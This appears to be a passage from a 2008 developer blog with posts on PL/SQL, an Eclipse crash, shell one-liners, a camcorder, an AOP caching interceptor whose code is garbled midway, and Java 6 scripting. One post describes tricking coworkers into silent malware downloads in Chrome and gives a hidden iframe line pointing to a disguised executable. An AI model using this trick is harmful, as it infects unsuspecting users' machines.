           DBMS_OUTPUT.put_line('table : ' || tablename || ' and size : ' || tableSize);  
           exception  
              when NO_DATA_FOUND then  
                DBMS_OUTPUT.PUT_LINE('');  
             when others then  
                DBMS_OUTPUT.PUT_LINE('');  
           end;  
    end loop;  
   close c_invalid_recs_cur;  
    DBMS_OUTPUT.PUT_LINE('END');  
 END;

Not a great work of art but it gave a nice way to vent out my staleness frustration. After this, i did think, i did something significant.

Conclusion:
1. Programming Lazy is good
2. A good developer is smarter than a good QA. No offenses but i mean it.

Is Chrome safe to browse?

2008-11-12T02:36:00.000-08:00

Because of my love for Google, i downloaded Google chrome browser and have been religiously using it for what it is meant for..browsing (eh..too melodramatic..excuse me i have a family holiday hangover and my family RSS feed had all melodramatic tv soaps)

While browsing on chrome i found out that with downloads i did not get an alert for downloading a file. Holy lord!!! Now imagine what i can do with this. At my work place i can host a local http server with a malicious servlet that downloads a virus or some dark-shit-n-crap. I can jazz this servlet to disguise my virus downloader as some interesting online game. If i send this link to my team members, i can freak into their machines..IF they are using google chrome..n like me all are using Google chrome just for the heck of it.

Now here is how-to for this. If you follow the above procedure only thing the servlet should have is

 <iframe src="http://my.holy.disguised.server/bomb-ur-machine-file.exe" frameborder="0" width="0" height="0">

Once the servlet opens on google chrome, you surrender your machine to me.

I have stopped using chrome for now but i encourage people to use it. Else where the hell am i going to use these tricks (where's the devil's smiley damn it??).

For info on how to do this cheap trick, mail me at archit.pandey@gmail.com. Will be happy to help.

Is it Love for maths or Maths for love

2008-10-20T20:39:00.000-07:00

People, Geeks are the future; they are coming to get...everything... Intelligent, exquisite nerd-ish charisma and i heard some of them can fly too. Brethren, together we rule the future.

This one's one of the poems i like from the movie harold and kumar. A true combination of mathematician and poet.
And people say geeks are not romantic...huh!!!

I’m sure that I will always be
A lonely number like root three

The three is all that’s good and right,
Why must my three keep out of sight
Beneath the vicious square root sign,
I wish instead I were a nine

For nine could thwart this evil trick,
with just some quick arithmetic

I know I’ll never see the sun, as 1.7321
Such is my reality, a sad irrationality

When hark! What is this I see,
Another square root of a three

As quietly co-waltzing by,
Together now we multiply
To form a number we prefer,
Rejoicing as an integer

We break free from our mortal bonds
With the wave of magic wands

Our square root signs become unglued
Your love for me has been renewed

Any more doubts people?

Me just an aficionado of the geek race. I bow down to "The Lords of the Future"

Eclipse crash

2008-10-07T10:59:00.000-07:00

One fine day Eclipse on my laptop, started playing the bitch. I failed to start. I got the following in the %eclipse_workspace%\.metadata\.log file. I Googled to see if i have company and found a few solutions. I found this blog but it did not help me much as i had no ".snap" files created at the location mentioned in the blog.

Below is the trace.

 !ENTRY org.eclipse.osgi 4 0 2008-10-07 18:16:54.249  
 !MESSAGE An error occurred while automatically activating bundle org.eclipse.core.resources (63).  
 !STACK 0  
 org.osgi.framework.BundleException: Exception in org.eclipse.core.internal.compatibility.PluginActivator.start() of bundle org.eclipse.core.resources.  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.startActivator(BundleContextImpl.java:1010)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.start(BundleContextImpl.java:966)  
  at org.eclipse.osgi.framework.internal.core.BundleHost.startWorker(BundleHost.java:317)  
  at org.eclipse.osgi.framework.internal.core.AbstractBundle.start(AbstractBundle.java:256)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseLazyStarter.preFindLocalClass(EclipseLazyStarter.java:86)  
  at org.eclipse.osgi.baseadaptor.loader.ClasspathManager.findLocalClass(ClasspathManager.java:409)  
  at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.findLocalClass(DefaultClassLoader.java:188)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findLocalClass(BundleLoader.java:334)  
  at org.eclipse.osgi.framework.internal.core.SingleSourcePackage.loadClass(SingleSourcePackage.java:37)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findClass(BundleLoader.java:383)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findClass(BundleLoader.java:347)  
  at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.loadClass(DefaultClassLoader.java:83)  
  at java.lang.ClassLoader.loadClass(ClassLoader.java:251)  
  at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:319)  
  at org.eclipse.ui.internal.ide.IDEApplication.run(IDEApplication.java:96)  
  at org.eclipse.core.internal.runtime.PlatformActivator$1.run(PlatformActivator.java:78)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:92)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:68)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:400)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:177)  
  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)  
  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)  
  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)  
  at java.lang.reflect.Method.invoke(Method.java:585)  
  at org.eclipse.core.launcher.Main.invokeFramework(Main.java:336)  
  at org.eclipse.core.launcher.Main.basicRun(Main.java:280)  
  at org.eclipse.core.launcher.Main.run(Main.java:977)  
  at org.eclipse.core.launcher.Main.main(Main.java:952)  
 Caused by: org.eclipse.core.internal.resources.ResourceException: Problems reading workspace tree.  
  at org.eclipse.core.internal.resources.WorkspaceTreeReader_1.readTree(WorkspaceTreeReader_1.java:166)  
  at org.eclipse.core.internal.resources.SaveManager.restoreTree(SaveManager.java:889)  
  at org.eclipse.core.internal.resources.SaveManager.restore(SaveManager.java:621)  
  at org.eclipse.core.internal.resources.SaveManager.startup(SaveManager.java:1299)  
  at org.eclipse.core.internal.resources.Workspace.startup(Workspace.java:1883)  
  at org.eclipse.core.internal.resources.Workspace.open(Workspace.java:1653)  
  at org.eclipse.core.resources.ResourcesPlugin.startup(ResourcesPlugin.java:367)  
  at org.eclipse.core.internal.compatibility.PluginActivator.start(PluginActivator.java:31)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl$2.run(BundleContextImpl.java:991)  
  at java.security.AccessController.doPrivileged(Native Method)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.startActivator(BundleContextImpl.java:985)  
  ... 27 more  
 Root exception:  
 org.eclipse.core.internal.resources.ResourceException(null)[567]: java.io.IOException: Unknown format.  
  at org.eclipse.core.internal.watson.ElementTreeReader.getReader(ElementTreeReader.java:75)  
  at org.eclipse.core.internal.watson.ElementTreeReader.readDelta(ElementTreeReader.java:84)  
  at org.eclipse.core.internal.watson.ElementTreeReaderImpl_1.readDeltaChain(ElementTreeReaderImpl_1.java:88)  
  at org.eclipse.core.internal.watson.ElementTreeReader.readDeltaChain(ElementTreeReader.java:96)  
  at org.eclipse.core.internal.resources.WorkspaceTreeReader_1.readTrees(WorkspaceTreeReader_1.java:221)  
  at org.eclipse.core.internal.resources.WorkspaceTreeReader_1.readTree(WorkspaceTreeReader_1.java:160)  
  at org.eclipse.core.internal.resources.SaveManager.restoreTree(SaveManager.java:889)  
  at org.eclipse.core.internal.resources.SaveManager.restore(SaveManager.java:621)  
  at org.eclipse.core.internal.resources.SaveManager.startup(SaveManager.java:1299)  
  at org.eclipse.core.internal.resources.Workspace.startup(Workspace.java:1883)  
  at org.eclipse.core.internal.resources.Workspace.open(Workspace.java:1653)  
  at org.eclipse.core.resources.ResourcesPlugin.startup(ResourcesPlugin.java:367)  
  at org.eclipse.core.internal.compatibility.PluginActivator.start(PluginActivator.java:31)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl$2.run(BundleContextImpl.java:991)  
  at java.security.AccessController.doPrivileged(Native Method)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.startActivator(BundleContextImpl.java:985)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.start(BundleContextImpl.java:966)  
  at org.eclipse.osgi.framework.internal.core.BundleHost.startWorker(BundleHost.java:317)  
  at org.eclipse.osgi.framework.internal.core.AbstractBundle.start(AbstractBundle.java:256)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseLazyStarter.preFindLocalClass(EclipseLazyStarter.java:86)  
  at org.eclipse.osgi.baseadaptor.loader.ClasspathManager.findLocalClass(ClasspathManager.java:409)  
  at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.findLocalClass(DefaultClassLoader.java:188)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findLocalClass(BundleLoader.java:334)  
  at org.eclipse.osgi.framework.internal.core.SingleSourcePackage.loadClass(SingleSourcePackage.java:37)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findClass(BundleLoader.java:383)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findClass(BundleLoader.java:347)  
  at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.loadClass(DefaultClassLoader.java:83)  
  at java.lang.ClassLoader.loadClass(ClassLoader.java:251)  
  at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:319)  
  at org.eclipse.ui.internal.ide.IDEApplication.run(IDEApplication.java:96)  
  at org.eclipse.core.internal.runtime.PlatformActivator$1.run(PlatformActivator.java:78)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:92)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:68)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:400)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:177)  
  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)  
  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)  
  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)  
  at java.lang.reflect.Method.invoke(Method.java:585)  
  at org.eclipse.core.launcher.Main.invokeFramework(Main.java:336)  
  at org.eclipse.core.launcher.Main.basicRun(Main.java:280)  
  at org.eclipse.core.launcher.Main.run(Main.java:977)  
  at org.eclipse.core.launcher.Main.main(Main.java:952)  
 !ENTRY org.eclipse.osgi 4 0 2008-10-07 18:16:54.264  
 !MESSAGE Application error  
 !STACK 1  
 java.lang.NoClassDefFoundError: org/eclipse/core/resources/IContainer  
  at org.eclipse.ui.internal.ide.IDEApplication.run(IDEApplication.java:96)  
  at org.eclipse.core.internal.runtime.PlatformActivator$1.run(PlatformActivator.java:78)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:92)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:68)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:400)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:177)  
  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)  
  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)  
  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)  
  at java.lang.reflect.Method.invoke(Method.java:585)  
  at org.eclipse.core.launcher.Main.invokeFramework(Main.java:336)  
  at org.eclipse.core.launcher.Main.basicRun(Main.java:280)  
  at org.eclipse.core.launcher.Main.run(Main.java:977)  
  at org.eclipse.core.launcher.Main.main(Main.java:952)

After about 30-45 minutes of heat n trials i found out there was a file in %eclipse_workspace%\.metadata\.plugins\org.eclipse.core.resources\.root by extension ".tree". I removed it and it i could restart eclipse. Though all projects in my workspace got deleted. I tried eclipse workspace re-builder here but it did not work.

I had to re-create all my projects. I have eclipse 3.2.1 installed.

Everyday Shell Scripting

2008-10-06T14:09:00.000-07:00

1. Say you have a very large log file and you need to find out a word Exception and the stack trace of the exception. How do i do it through a shell command
ANS: cat -nb log-file-name | grep Exception
This will give the log file lines with word "Exception" with line number of the file. The next you have to do is tail or head from that line ahead.
$> tail +line-number long-file-name | more
And you get the stack trace.

2. SED Ignorecase match
ANS: There is no straight way to do ignorecase match with SED. The simplest of all is
grep -i "from " spy.log | cut -f5 -d'|' | sed -e'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'| sed -e's/.*FROM $[^ ]*$\ .*/\1/g'

So we modify to set every small case alphabet to upper case and then cod the further processing

3. Rename files matching a pattern
ANS: Use xargs to rename .sh file to .sh.backup
ls -1t | grep "test.my*.sh" | sed -e's/$test.my*$.sh'/\1/g' | xargs -I {} mv {}.sh {}.sh.backup
list files, parse name of file (sans file extension), pass the name to xargs and move it to the wanted extension.

4. Find out process holding a port on solaris
ANS: For e.g. port 1225, below is the one liner -
for i in `ps -e|awk '{print $1}'`; do echo $i; pfiles $i 2>/dev/null | grep '1225'; done
It lists all the processes it searches and print the process which is occupying the port

Daily FAQ

2008-10-06T14:03:00.000-07:00

1. How to set JVM memory in ANT
From command line do
cmd> set ANT_OPTS=-Xmx1024M (for setting to 1Gigs)
and then run Ant build file.

Handycam - Sony HDR-SR10E

2008-10-04T02:19:00.000-07:00

Some time back i was looking to buy a Handycam and with a lot of research i zeroed on sony model "Sony HDR-SR10E". Though i dint buy it but i thought of putting up my hunt here on my blog.

The first reason i started with Sony (and ended up with Sony) was trust. If you want to buy a photocopy machine you'll go to xerox, as simple as that. I picked up a few other cams (mentioned below) and Sony outweighed them.

To start with lets look at the features, and does it affect you.

1. 1920x1080 Recording : video captured in the clarity of 1920 x 1080 Full HD resolution. There are two main HD resolutions in use today by HD broadcasters and other sources: 1080i and 720p. 1080i has more lines and pixels and hence greater clarity, while 720p is a progressive scan format that makes the video smoother while in motion. This one is 1080i. BTW, there are no 1080p camcorders available till date.

Sony HDR-SR10E 40GB Hard Drive Digital Camcorder for PAL and HD Video

2. Recording time: Its got a 40 GB hard disk, and around 15 hours of recording. With optional recording on memory stick.

3. BIONZ Image Processor : reduces noise while image capturing and improves quality

4. Face recognizer: recognizes up to 8 faces and controls focus.

5. Hybrid Touch Panel: 2.7 inches wide touch panel

6. Film Roll Index: Videos are bookmarked. Easy browsing of video

7. Automatic Lens cover: lesser pain.

8. 15X Optical / 180X Digital Zoom: Digital zoom makes high zooms clearer than usual.

9. Super SteadyShot Optical Image Stabilisation System: Reduces blur caused by cam vibration.

10. USB2.0 pluggability

11. Built-in Flash

12. Handycam Station: But its somehow easier to manage without this

13. Dual Recording (Movie & 3.0Mega Still Image Recording)

14. HDMI Control (CEC): connect to HDTV though HDMI cable. To view these on a dvd player you need a blu-ray dvd burner on the computer(1080p requirement).

Hope you find this interesting enuf. I have not explained Do post your comments on technical clarification if required.

Declarative Caching with Annotation, AOP and ehcache

2008-09-30T14:37:00.000-07:00

Recently, we had a requirement of caching static data in the application. The motive was to avoid service calls when data returned by the method was static and changed very rarely. We had to identify such methods and cache their return values. Identifying part was easy, but difficulty came from the code for caching which was polluting the business logic. My code despise acceleration was increasing linearly, with every line of code i wrote for it.

The requirement was clear: separation of caching code from business logic. With AOP which happens to be my new found love and Annotation which is my ex-gf, i figured out this not-the-lady-killer-but-smart-enuf-for-30%-females (its 3:32 am ..hope you guys understand) design.

Principle : A DeclarativeCachingInterceptor which is invoked before a service method call and based on a "DeclarativeCaching" annotation defined, the interceptor retrieves the cached returned values and returns it. If the elements are not found in cache the call is delegated to the actual method on the target object.

The annotation "DeclarativeCaching" defines attributes for cache, cacheManager, cacheKey and also the way cacheKey has to be generated.
Below is the Annotation definition

 @Retention(RetentionPolicy.RUNTIME)  
 @Target(ElementType.METHOD)  
 public @interface DeclarativeCaching {  
      public static final String DEFAULT_CACHE_MANAGER = "cacheManager";  
      public static final String CACHE_STATIC = "staticDataCache";  
      public static final String CACHE_EPHEMERAL = "ephemeralDataCache";  
      public static final String DEFAULT_CACHE = CACHE_STATIC;  
      public static final String DEFAULT_BASE_CACHE_KEY = "CACHE_KEY";  
      public enum CACHE_KEY_TYPE {  
           BASE, ARGS, MIXED  
      };  
      String cache() default DEFAULT_CACHE;  
      String cacheManager() default DEFAULT_CACHE_MANAGER;  
      String baseCacheKey() default DEFAULT_BASE_CACHE_KEY;  
      CACHE_KEY_TYPE cacheKeyType() default CACHE_KEY_TYPE.BASE;  
 }

The cacheKey that is generated by DeclarativeCachingInterceptor, depends on the CACHE_KEY_TYPE defined for the method.
If the type is BASE, then it picks the baseCacheKey defined in the Annotation of the method. This is a scenario when methods dont have an argument defined; the method is returning a 100% pure static data.

Second case when type is ARGS; in this case only the arguments defined is picked up as the key to look into the cache. Generally this would be used when the method has a cache dedicated for itself, hence it wont need a reference or base cache key.

Third case when type is MIXED; in this case the baseCacheKey is concatenated to the toString of aurguments to generate a unique cache key. This scenario is for cases when more than one methods share the same cache.

There a few nitty-gritties in the code which you guys should be able to figure out by looking at the code. below is the code for the interceptor

 import java.io.Serializable;  
 import java.lang.reflect.Method;  
 import net.sf.ehcache.Cache;  
 import net.sf.ehcache.CacheManager;  
 import net.sf.ehcache.Element;  
 import org.aopalliance.intercept.MethodInterceptor;  
 import org.aopalliance.intercept.MethodInvocation;  
 import org.springframework.aop.support.AopUtils;  
 import com.tf.platform.util.delegates.ServiceLocator;  
 import com.tf.platform.util.logging.ILoggerCategory;  
 import com.tf.platform.util.logging.LoggerFactory;  
 import com.tf.platform.util.logging.SuggestedCategory;  
 /**  
 * Author: archit.pandey  
 * Date: Sep 28, 2008  
 * Time: 04:43:15 PM  
 *  
 * A caching interceptor for intercepting service method calls which go to DB eventually.  
 * The idea is to save transaction for these service methods. Using DeclarativeCaching annotation  
 * such service methods can be annotated to be declaratively cached.  
 *  
 * The interceptor reads DeclarativeCaching annotation for configuration of the cache and the  
 * way return values of these methods are cached. Based on tht it reads from the configured cache  
 * and in case a cache hit occurs it halts further invocation proceed to stop a transaction to be created  
 * uselessly. In case, a cache miss occurs the invocation is proceeded further to get values from DB.  
 *  
 * Caution: Because of this modus operandi of DeclarativeCachingInterceptor any further invocations are halted, so  
 * if an advisor which depends on calls to actual targetObject should keep a watch here.  
 *  
 */  
 public class DeclarativeCachingInterceptor implements MethodInterceptor {  
      public static final String KEY_ARGS_NAME_SEPARATOR = "_";  
      private final Object NULL_OBJECT = new Object();  
      static ILoggerCategory logger=LoggerFactory.getInstance(DeclarativeCachingInterceptor.class);  
      private CacheManager cacheManager;  
      private Cache staticDataCache;  
      private Cache ephemeralDataCache;  
      private DeclarativeCaching getDeclaredAnnotations(final MethodInvocation methodInvocation)  
      {  
           Method method = methodInvocation.getMethod();  
           Method specificMethod = AopUtils.getMostSpecificMethod(method,methodInvocation.getClass());  
           return specificMethod.getAnnotation(DeclarativeCaching.class);  
      }  
      public Object invoke(final MethodInvocation methodInvocation) throws Throwable {  
           boolean fetchFromPersistenceStore = false;  
           final String methodName = methodInvocation.getMethod().getName();  
           DeclarativeCaching declCachingAnnotations = getDeclaredAnnotations(methodInvocation);  
           if(declCachingAnnotations == null)  
           {  
                if(logger.isDebugEnabled())  
                {  
                     logger.debug("DeclarativeCachingInterceptor was asked to intercept method [ " + methodName + " ] but DeclarativeCaching annotation was not defined. No caching", SuggestedCategory.DATA);  
                }  
                //probably the annotation has not been defined on the method so no caching wanted  
                return methodInvocation.proceed();  
           }  
           String cacheManagerName = declCachingAnnotations.cacheManager();  
           String cacheName = declCachingAnnotations.cache();  
           String baseCacheKey = declCachingAnnotations.baseCacheKey();  
           DeclarativeCaching.CACHE_KEY_TYPE cacheKeyType = declCachingAnnotations.cacheKeyType();  
           //get the cacheManager defined in method annotation if not equal to default cache manager name  
           CacheManager scopedCacheManager = cacheManagerName.equals(DeclarativeCaching.DEFAULT_CACHE_MANAGER)? cacheManager : (CacheManager)ServiceLocator.getInstance().getService(cacheManagerName);  
           //get the cache key  
           String cacheKey = getCacheKey(cacheKeyType,methodInvocation.getArguments(),baseCacheKey);  
           Cache cache = null;  
           if(cacheName.equals(DeclarativeCaching.CACHE_STATIC))  
           {  
                cache = staticDataCache;  
           }  
           else if (cacheName.equals(DeclarativeCaching.CACHE_EPHEMERAL))  
           {  
                cache = ephemeralDataCache;  
           }  
           else  
           {  
                cache = scopedCacheManager.getCache(cacheName);  
           }  
           if(logger.isDebugEnabled())  
           {  
                logger.debug("Caching configuration for method [ " + methodName + " ] " +  
                             " cacheName: [" + cacheName + " ] cacheKey: [ " + cacheKey + " ]" +  
                             " cache: [ " + cache + " ] cacheManager: [ " + scopedCacheManager + " ]" +  
                             " cacheKeyType: [ " + cacheKeyType + " ]", SuggestedCategory.DATA);  
           }  
           Object returnObject = null;  
           if (cache != null) {  
                final Element cacheElement = cache.get(cacheKey);  
                if (cacheElement == null) {  
                     fetchFromPersistenceStore = true;  
                } else {  
                     returnObject = cacheElement.getObjectValue();  
                     if(returnObject == null)  
                     {  
                          logger.info("Cache key fournd but value stored null for method [ " + methodName + " ]",SuggestedCategory.DATA);  
                          fetchFromPersistenceStore = true;  
                     }  
                     else  
                     {  
                          logger.info("Cache Hit for method [ " + methodName + " ]",SuggestedCategory.DATA);  
                          fetchFromPersistenceStore = false;  
                     }  
                }  
           }  
           if (cache == null || fetchFromPersistenceStore) {  
                returnObject = methodInvocation.proceed();  
                logger.info("Return type for method [ " + methodName + " ] fetched from DB or service call", SuggestedCategory.DATA);  
                Element newCacheElement = new Element(cacheKey,returnObject);  
                cache.put(newCacheElement);  
           }  
           return returnObject;  
      }  
      private String getCacheKey(DeclarativeCaching.CACHE_KEY_TYPE cacheKeyType, Object[] methodArgs, String baseCacheKey)  
      {  
           if(cacheKeyType == DeclarativeCaching.CACHE_KEY_TYPE.BASE)  
           {  
                return baseCacheKey;  
           }  
           else if (cacheKeyType == DeclarativeCaching.CACHE_KEY_TYPE.ARGS)  
           {  
                return getCacheKeyFromArgs(methodArgs);  
           }  
           else  
           {  
                return baseCacheKey + KEY_ARGS_NAME_SEPARATOR + getCacheKeyFromArgs(methodArgs);  
           }  
      }  
      private String getCacheKeyFromArgs(final Object[] methodArgs)  
      {  
           if(methodArgs == null)  
           {  
                return null;  
           }  
           final StringBuilder cacheName = new StringBuilder();  
           for (int i = 0; i < cachemanager =" cacheManager;" ephemeraldatacache =" ephemeralDataCache;" staticdatacache =" staticDataCache;">

I have used spring's AOP and ehcache. So in addition to the above code you need to define an ehcache.xml and spring context file (iff you plan to use spring..else initialize in constructor).

That's it..simple, cheap, concise but a killer funda to separate caching code from business logic. Once this implementation is in place we only need to annotate a method to cache.

Hope this was useful. In case you have any suggestions/doubts please drop in a comment here OR mail me at archit.pandey@gmail.com

Scripting with Java 6

2008-09-21T01:45:00.000-07:00

Scripting with JAVA SE 6 (Mustang)

Almost a year back i had stumbled upon the “javax.script” package, which is a scripting API included in the java 6 release. I had read about it at the time JSR-223, the ScriptEngine API, was released. That seemed to be a potential to me. However after about a year, i dont see much of eyebrows raised over there. I guess Java 5 dust is still in settling phase and it would take some more time before people start noticing Java 6 and its features. Still i take an effort here to put forth the API to people who are unaware of a potential API.

So, why did Java, as a language, including a support for scripting? The recent advent and mass acceptance of scripting languages like Ruby did play a role here. Software related to online content are very concerned about developing their application faster. Industries with dynamically changing content like online advertising, news sites etc, cannot tolerate delay.

Scripting languages are dynamically typed, i.e., data types are handled dynamically. Same variable can be used to hold different data types. This makes it easier and faster for programmers to write applications. There are pros and cons of this but going into depth of this would lead into static Vs. dynamically typed languages discussion, which is not the objective of this article (For people who are interested in this may like to read this blog by Bruce Eckel).

Everybody knows the power of scripting languages ( and people who still doubt that may like to read this insightful article by John K Ousterhout). Java designers were no exception. For long, new scripting engines, written in java, were coming up. These engines enabled Java programmers to use scripting languages from inside java. Third party libraries, like Rhino, Jython, Jakarta ORO, Groovy, are gaining popularity (some are already very famous). Java designers felt the need to standardize such engines, so that a programmer need not go into internals of the scripting engine API and concentrate only on the scripting language itself. The inclusion of “javax.script” package into Java SE 6 (Mustang), is a move in that direction.

The “javax.script” API

This API is basically an abstraction over scripting engines that comply with JSR-223. So, you are free to use any scripting language (which has a scripting engine that complies with jsr-223) inside your java code. And this is exactly where the power of this API lies. Write some code using this package and leave some functionality to be implemented using the scripting language that is best suited for the purpose. For e.g., if some functionality demands text data processing, you may use AWK or if you want to use perl you can try the Sleep scripting language (As for now, perl does not figure into the scripting engines supported by jsr-223). So, programmers have got freedom to use the right language for the right purpose. Let’s have a look at the javax.script API.

The javax.script API is a small one with 6 interfaces and 6 classes (and if somebody said size matters, here is something to prove him wrong).

Interfaces

Classes

Bindings

AbstractScriptEngine

Compilable

CompiledScript

Invocable

ScriptEngineManager

ScriptContext

SimpleBindings

ScriptEngine

SimpleScriptContext

ScriptEngineFactory

ScriptException

Looks pretty neat! ScriptEngineManager is the starting class. This class manages the installed scripting engines. To retrieve the scripting engine for your scripting language, you need to query the ScriptEngineManager.

 ScriptEngineManager scriptEngineMgr = new ScriptEngineManager();  
ScriptEngine myEngine = scriptEngineMgr.getEngineByName( "rhino" );

The above code instantiates a ScriptEngineManager and then queries it to get the “Rhino” JavaScript engine(“rhino” engine comes bundled with the java 6 distribution). The retrieved ScriptEngine is now ready to execute your script. There are various methods exposed by the ScriptEngine class to execute your script. You can execute scripts stored in normal Java string or you can provide a handle of your script file stream to execute.

The javax.script package also provides methods for calling procedures defined in the script. The Invocable interface helps you achieve this. The code below invokes the function printHelloWorld.

 myEngine.eval("function printHelloWorld() {" +"print('Hello, world!');" +"}"); 
Invocable invocable = (Invocable) myEngine; 
invocable.invokeFunction("printHelloWorld");

Binding Java objects to ScriptEngine

You can bind an Object created in your java program to the script that you want to execute. To bind a Java Object put it inside the ScriptEngine instance using a key-value pair. Inside the script you get access to the Object using the associated key.

 myEngine.put("testList",namesList);

Now, the List namesList, can be accessed A Java Object can also be passed to a script function. The Invocable interface can be used to invoke a function in the script and pass arguments to the function from inside your java program. The code below invokes the method “sayHello” and passes a java.util.List to the method. Another method “addName” on being called, adds an element “Dana”, to the passed list.

 Invocable invocable = (Invocable)myEngine;  
myEngine.eval("function sayHello(namesList) {" + 
" var x;" + " var names = namesList.toArray();" + 
" for(x in names) {" + 
" println(names[x]);" + " }" + 
"}" + 
"function addName(namesList, name) {" + 
" namesList.add(name);" + 
" return namesList;}"); 
invocable.invokeFunction("printNames1", namesList); 
List modNamesList = invocable.invokeFunction("addName", namesList, "Dana");

The “eval” method of the ScriptEngine class returns an Object. This Object is the one that was returned by the called function. For e.g., the method “addName” returns the list “namesList”. The returned Object can then be typecast to the expected returned type.

Scripting Engines currently supported

There are a wide range of Script Engines that currently comply with jsr-223. To name a few, it supports Rhino (JavaScript), Groovy, OGNL, Jython, JRuby and JAWK. There are many others which programmers can choose from. The full list of the supported Scripting Engines can be found here

Conclusion

The article is written to highlight the new scripting API included in JAVA SE 6. The real usage of this API comes only with the effective use of Scripting languages in application development. The motive was just to make readers inquisitive on the topic.

With the inclusion of scripting support, application development is going to get faster. But performance would still be something to look out for. The scripting engines are written in Java, so probably, they won’t be as fast as you would expect them to be.

Another thing to watch for, would be type safety. Java has been popular as a strongly typed language. And with Generics in java 5.0, they took it to the next level. But with the scripting languages support (which are famous for being dynamically typed); is type safety of java being compromised?

There are few questions that still are to be pondered upon and would come into sight only when the Tech titans debate on them after Mustang’s final release. But one thing is guaranteed; for all the aficionados of scripting, Java SE 6 is going make programming with Java, a little more interesting.